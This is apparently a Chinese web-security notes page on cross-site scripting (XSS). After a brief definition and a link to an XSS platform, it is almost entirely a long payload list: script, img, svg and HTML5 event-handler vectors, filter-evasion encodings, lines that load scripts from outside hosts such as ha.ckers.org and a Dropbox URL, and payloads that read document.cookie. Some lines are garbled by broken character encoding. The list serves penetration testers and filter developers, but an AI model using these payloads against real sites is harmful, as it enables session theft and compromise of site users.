XSS

web 评论

​

跨站脚本攻击（Cross-site scripting，XSS）是一种安全漏洞，攻击者可以利用这种漏洞在网站上注入恶意的客户端代码。当被攻击者登陆网站时就会自动运行这些恶意代码，从而，攻击者可以突破网站的访问权限，冒充受害者。

​

平台

https://xss.pt/xss.php

​

基本XSS

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Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>

Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)

HTML5中的一些XSS
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea/autofocus/onfocus=alert(1)>
<iframe/onload=alert(1)></iframe>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>

​

绕过

  • JSfuck加密

    <script>[JSfuck Code...]</script>

  • Base64

    <script>eval(atob("[Base64 Code...]"))</script>

    ​

Payload集

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<script>alert(123);</script>
<ScRipT>alert("XSS");</ScRipT>
<script>alert(123)</script>
<script>alert("hellox worldss");</script>
<script>alert('XSS')</script> 
<script>alert('XSS');</script>
<script>alert('XSS')</script>
'><script>alert('XSS')</script>
<script>alert(/XSS/)</script>
<script>alert(/XSS/)</script>
</script><script>alert(1)</script>
'; alert(1);
')alert(1);//
<ScRiPt>alert(1)</sCriPt>
<IMG SRC=jAVasCrIPt:alert('XSS')>
<IMG SRC='javascript:alert('XSS');'>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=javascript:alert('XSS')>      
<img src=xss onerror=alert(1)>


<iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>

<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'

<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"

<sVg><scRipt %00>alert&lpar;1&rpar; {Opera}

<img/src=`%00` onerror=this.onerror=confirm(1)

<form><isindex formaction="javascript&colon;confirm(1)"

<img src=`%00`&NewLine; onerror=alert(1)&NewLine;

<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>

<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?

<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/

&#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00

<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">

<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>

<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script

<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}

<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>

<form><a href="javascript:\u0061lert&#x28;1&#x29;">X

</script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/%00*/onerror='eval(src)'>
<img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>

<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a

http://www.google<script .com>alert(document.location)</script

<a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a

<img/src=@&#32;&#13; onerror = prompt('&#49;')

<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;

<script ^__^>alert(String.fromCharCode(49))</script ^__^

</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(

&#00;</form><input type&#61;"date" onfocus="alert(1)">

<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>

<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/

<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>

<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>

<script ~~~>alert(0%0)</script ~~~>

<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>

<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN

<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)

&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'

&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}

<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^

<div/style="width:expression(confirm(1))">X</div> {IE7}

<iframe/%00/ src=javaSCRIPT&colon;alert(1)

//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//

/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>

//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\

</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>

<a/href="javascript:&#13; javascript:prompt(1)"><input type="X">

</plaintext\></|\><plaintext/onmouseover=prompt(1)

</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}

<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>

<div onmouseover='alert&lpar;1&rpar;'>DIV</div>

<iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">

<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>

<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">

<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">

<var onmouseover="prompt(1)">On Mouse Over</var>

<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>

<img src="/" =_=" title="onerror='prompt(1)'">

<%<!--'%><script>alert(1);</script -->

<script src="data:text/javascript,alert(1)"></script>
<iframe/src \/\/onload = prompt(1)

<iframe/onreadystatechange=alert(1)

<svg/onload=alert(1)

<input value=<><iframe/src=javascript:confirm(1)

<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>

http://www.<script>alert(1)</script .com

<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>

<svg><script ?>alert(1)

<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>

<img src=`xx:xx`onerror=alert(1)>

<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click

<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1

<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a

<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>

<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+

<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script

<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>

<script>+-+-1-+-+alert(1)</script>

<body/onload=&lt;!--&gt;&#10alert(1)>

<script itworksinallbrowsers>/*<script* */alert(1)</script

<img src ?itworksonchrome?\/onerror = alert(1)

<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

<script x> alert(1) </script 1=2

<div/onmouseover='alert(1)'> style="x:">

<--`<img/src=` onerror=alert(1)> --!>
 <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>

<div style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>

"><img src=x onerror=window.open('https://www.google.com/');>

<form><button formaction=javascript&colon;alert(1)>CLICKME

<math><a xlink:href="//jsfiddle.net/t846h/">click

<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>

<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
�;alert(String.fromCharCode(88,83,83))//�;alert(String.fromCharCode(88,83,83))//�;alert(String.fromCharCode(88,83,83))//�;alert(String.fromCharCode(88,83,83))//�></SCRIPT>�>�><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<IMG ���><SCRIPT>alert(�XSS�)</SCRIPT>�>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=�jav ascript:alert(�XSS�);�>
<IMG SRC=�jav&#x09;ascript:alert(�XSS�);�>
<<SCRIPT>alert(�XSS�);//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
�><s�%2b�cript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<BODY BACKGROUND=�javascript:alert(�XSS�)�>
<BODY ONLOAD=alert(�XSS�)>
<INPUT TYPE=�IMAGE� SRC=�javascript:alert(�XSS�);�>
<IMG SRC=�javascript:alert(�XSS�)�
<iframe src=http://ha.ckers.org/scriptlet.html <
javascript:alert("hellox worldss")
<img src="javascript:alert('XSS');">
<img src=javascript:alert(&quot;XSS&quot;)>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
<script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
<script>alert("XSS");</script>&search=1
0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
<h1><font color=blue>hellox worldss</h1>
<BODY ONLOAD=alert('hellox worldss')>
<input onfocus=write(XSS) autofocus>
<input onblur=write(XSS) autofocus><input autofocus>
<body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form><button formaction="javascript:alert(XSS)">lol
<!--<img src="--><img src=x onerror=alert(XSS)//">
<![><img src="]><img src=x onerror=alert(XSS)//">
<style><img src="</style><img src=x onerror=alert(XSS)//">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<? foo="><x foo='?><script>alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">
<% foo><x foo="%><script>alert(123)</script>">
<div style="font-family:'foo&#10;;color:red;';">LOL
LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
<script>({0:#0=alert/#0#/#0#(0)})</script>
<svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>
&lt;SCRIPT&gt;alert(/XSS/&#46;source)&lt;/SCRIPT&gt;
\\";alert('XSS');//
&lt;/TITLE&gt;&lt;SCRIPT&gt;alert(\"XSS\");&lt;/SCRIPT&gt;
&lt;INPUT TYPE=\"IMAGE\" SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;BODY BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;BODY ONLOAD=alert('XSS')&gt;
&lt;IMG DYNSRC=\"javascript&#058;alert('XSS')\"&gt;
&lt;IMG LOWSRC=\"javascript&#058;alert('XSS')\"&gt;
&lt;BGSOUND SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;BR SIZE=\"&{alert('XSS')}\"&gt;
&lt;LAYER SRC=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/LAYER&gt;
&lt;LINK REL=\"stylesheet\" HREF=\"javascript&#058;alert('XSS');\"&gt;
&lt;LINK REL=\"stylesheet\" HREF=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;css\"&gt;
&lt;STYLE&gt;@import'http&#58;//ha&#46;ckers&#46;org/xss&#46;css';&lt;/STYLE&gt;
&lt;META HTTP-EQUIV=\"Link\" Content=\"&lt;http&#58;//ha&#46;ckers&#46;org/xss&#46;css&gt;; REL=stylesheet\"&gt;
&lt;STYLE&gt;BODY{-moz-binding&#58;url(\"http&#58;//ha&#46;ckers&#46;org/xssmoz&#46;xml#xss\")}&lt;/STYLE&gt;
&lt;XSS STYLE=\"behavior&#58; url(xss&#46;htc);\"&gt;
&lt;STYLE&gt;li {list-style-image&#58; url(\"javascript&#058;alert('XSS')\");}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
&lt;IMG SRC='vbscript&#058;msgbox(\"XSS\")'&gt;
&lt;IMG SRC=\"mocha&#58;&#91;code&#93;\"&gt;
&lt;IMG SRC=\"livescript&#058;&#91;code&#93;\"&gt;
�scriptualert(EXSSE)�/scriptu
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript&#058;alert('XSS');\"&gt;
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data&#58;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\"&gt;
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http&#58;//;URL=javascript&#058;alert('XSS');\"
&lt;IFRAME SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/IFRAME&gt;
&lt;FRAMESET&gt;&lt;FRAME SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/FRAMESET&gt;
&lt;TABLE BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;TABLE&gt;&lt;TD BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
&lt;DIV STYLE=\"background-image&#58;\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028&#46;1027\0058&#46;1053\0053\0027\0029'\0029\"&gt;
&lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
&lt;DIV STYLE=\"width&#58; expression(alert('XSS'));\"&gt;
&lt;STYLE&gt;@im\port'\ja\vasc\ript&#58;alert(\"XSS\")';&lt;/STYLE&gt;
&lt;IMG STYLE=\"xss&#58;expr/*XSS*/ession(alert('XSS'))\"&gt;
&lt;XSS STYLE=\"xss&#58;expression(alert('XSS'))\"&gt;
exp/*&lt;A STYLE='no\xss&#58;noxss(\"*//*\");
xss&#58;ex&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'&gt;
&lt;STYLE TYPE=\"text/javascript\"&gt;alert('XSS');&lt;/STYLE&gt;
&lt;STYLE&gt;&#46;XSS{background-image&#58;url(\"javascript&#058;alert('XSS')\");}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
&lt;STYLE type=\"text/css\"&gt;BODY{background&#58;url(\"javascript&#058;alert('XSS')\")}&lt;/STYLE&gt;
&lt;!--&#91;if gte IE 4&#93;&gt;
&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;
&lt;!&#91;endif&#93;--&gt;
&lt;BASE HREF=\"javascript&#058;alert('XSS');//\"&gt;
&lt;OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/OBJECT&gt;
&lt;OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript&#058;alert('XSS')&gt;&lt;/OBJECT&gt;
&lt;EMBED SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;swf\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
&lt;EMBED SRC=\"data&#58;image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
a=\"get\";
b=\"URL(\\"\";
c=\"javascript&#058;\";
d=\"alert('XSS');\\")\";
eval(a+b+c+d);
&lt;HTML xmlns&#58;xss&gt;&lt;?import namespace=\"xss\" implementation=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;htc\"&gt;&lt;xss&#58;xss&gt;XSS&lt;/xss&#58;xss&gt;&lt;/HTML&gt;
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;!&#91;CDATA&#91;&lt;IMG SRC=\"javas&#93;&#93;&gt;&lt;!&#91;CDATA&#91;cript&#58;alert('XSS');\"&gt;&#93;&#93;&gt;
&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;XML ID=\"xss\"&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=\"javas&lt;!-- --&gt;cript&#58;alert('XSS')\"&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"&gt;&lt;/SPAN&gt;
&lt;XML SRC=\"xsstest&#46;xml\" ID=I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;HTML&gt;&lt;BODY&gt;
&lt;?xml&#58;namespace prefix=\"t\" ns=\"urn&#58;schemas-microsoft-com&#58;time\"&gt;
&lt;?import namespace=\"t\" implementation=\"#default#time2\"&gt;
&lt;t&#58;set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"&gt;
&lt;/BODY&gt;&lt;/HTML&gt;
&lt;SCRIPT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;jpg\"&gt;&lt;/SCRIPT&gt;
&lt;!--#exec cmd=\"/bin/echo '&lt;SCR'\"--&gt;&lt;!--#exec cmd=\"/bin/echo 'IPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;'\"--&gt;
&lt;? echo('&lt;SCR)';
echo('IPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;'); ?&gt;
&lt;IMG SRC=\"http&#58;//www&#46;thesiteyouareon&#46;com/somecommand&#46;php?somevariables=maliciouscode\"&gt;
Redirect 302 /a&#46;jpg http&#58;//victimsite&#46;com/admin&#46;asp&deleteuser
&lt;META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\"&gt;
&lt;HEAD&gt;&lt;META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
&lt;SCRIPT a=\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT =\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt;\" '' SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT \"a='&gt;'\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=`&gt;` SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt;'&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;document&#46;write(\"&lt;SCRI\");&lt;/SCRIPT&gt;PT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;A HREF=\"http&#58;//66&#46;102&#46;7&#46;147/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//1113982867/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//0x42&#46;0x0000066&#46;0x7&#46;0x93/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//0102&#46;0146&#46;0007&#46;00000223/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"htt p&#58;//6 6&#46;000146&#46;0x7&#46;147/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"//www&#46;google&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"//google\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//ha&#46;ckers&#46;org@google\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//google&#58;ha&#46;ckers&#46;org\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//google&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//www&#46;google&#46;com&#46;/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"javascript&#058;document&#46;location='http&#58;//www&#46;google&#46;com/'\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//www&#46;gohttp&#58;//www&#46;google&#46;com/ogle&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&lt;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
